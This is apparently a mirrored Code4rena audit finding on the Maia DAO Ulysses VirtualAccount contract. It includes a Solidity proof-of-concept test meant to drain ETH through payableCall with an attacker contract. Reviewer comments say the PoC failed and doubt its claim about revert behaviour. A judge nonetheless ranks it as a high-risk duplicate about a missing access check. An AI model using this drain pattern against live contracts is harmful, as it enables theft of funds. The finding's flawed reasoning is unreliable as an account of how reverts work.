Maia DAO - Ulysses - John_Femi's results

Harnessing the power of Arbitrum, Ulysses Omnichain specializes in Virtualized Liquidity Management.

General Information

Platform: Code4rena

Start Date: 22/09/2023

Pot Size: $100,000 USDC

Total HM: 15

Participants: 175

Period: 14 days

Judge: alcueca

Total Solo HM: 4

Id: 287

League: ETH

Maia DAO

Findings Distribution

Researcher Performance

Rank: 157/175

Findings: 1

Award: $0.11

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85 https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L101

Vulnerability details

Impact

In the virtual Account there is a vulnerability in the payablecall function where attackers can drain the contract using external contracts. The vulnerability comes in the _call.target.call{value: val}(_call.callData) where the val is defined as call.value inputted by an arbitrary user which would be paid by the contract. The initial msg.value does not necessarily have to be up to the sum of the _call.value in the calls as the check is done in the end after contract drains have been completed.

Proof of Concept

Here is a sample POC test


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../helpers/ImportHelper.sol";

contract BadContract {

  receive() external payable{}
  function call() external payable returns(bool, bytes memory){
    address(this).call{value:msg.value}("");
    console2.log(msg.value);
    return (true, bytes(""));
  }

}

contract MainContractTest is Test {

    VirtualAccount mainContract;
    BadContract badContract;

    constructor() {
        mainContract = new VirtualAccount(address(0), address(10));
        badContract = new BadContract();
    }

    function testPayableCall() public {
        // Fund the main contract with about 10eth
        vm.deal(address(mainContract), 10 ether);

        // Create a data call of length 10 to the bad contract with call.value as 210000
        PayableCall[] memory calls = new PayableCall[](10);
        for (uint256 i = 0; i < 10; i++) {
          bytes memory callData = abi.encodeWithSignature("call()");
          calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData});
        }

        // Call the payableCall() function of the main contract
        try mainContract.payableCall{value: 0.1 ether}(calls){
           //expected to fail
        }catch{}

        // Check the balance of the bad contract
        uint256 badContractBalance = address(badContract).balance;
        assertEq(badContractBalance, 1 ether);
        
    }
}

What this test shows is we have a sample virtual account, an attacker can drain the account using the _call.target.call. Even though the contract reverts the external calls will not be reverted.

this can be taken further with the attacking contract re-entering the VirtualAccount and drain it continuously until out-of-gas error.

Tools Used

Manual Review

I recommend the following mitigation steps:

Assessed type

ETH-Transfer

#0 - c4-pre-sort

2023-10-08T14:25:29Z

0xA5DF marked the issue as low quality report

#1 - 0xA5DF

2023-10-08T14:26:03Z

Even though the contract reverts the external calls will not be reverted.

I doubt this, the PoC has failed:

Error: a == b not satisfied [uint] Left: 0 Right: 1000000000000000000

#2 - 0xA5DF

2023-10-08T14:28:04Z

Side note: there's a missing import, here's the full code

File: test/ulysses-omnichain/myTests/drain.t.sol


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../helpers/ImportHelper.sol";
import "src/VirtualAccount.sol";

contract BadContract {

  receive() external payable{}
  function call() external payable returns(bool, bytes memory){
    address(this).call{value:msg.value}("");
    console2.log(msg.value);
    return (true, bytes(""));
  }

}

contract MainContractTest is Test {

    VirtualAccount mainContract;
    BadContract badContract;

    constructor() {
        mainContract = new VirtualAccount(address(0), address(10));
        badContract = new BadContract();
    }

    function testPayableCall() public {
        // Fund the main contract with about 10eth
        vm.deal(address(mainContract), 10 ether);

        // Create a data call of length 10 to the bad contract with call.value as 210000
        PayableCall[] memory calls = new PayableCall[](10);
        for (uint256 i = 0; i < 10; i++) {
          bytes memory callData = abi.encodeWithSignature("call()");
          calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData});
        }

        // Call the payableCall() function of the main contract
        try mainContract.payableCall{value: 0.1 ether}(calls){
           //expected to fail
        }catch{}

        // Check the balance of the bad contract
        uint256 badContractBalance = address(badContract).balance;
        assertEq(badContractBalance, 1 ether);
        
    }
}

#3 - alcueca

2023-10-23T09:21:34Z

I think this is valid, and part of the group of duplicates about payableCall missing the requiresApprovedCaller modifier.

#4 - c4-judge

2023-10-23T15:21:56Z

alcueca marked the issue as duplicate of #888

#5 - c4-judge

2023-10-26T11:32:09Z

alcueca changed the severity to 3 (High Risk)

#6 - c4-judge

2023-10-26T11:35:22Z

alcueca marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter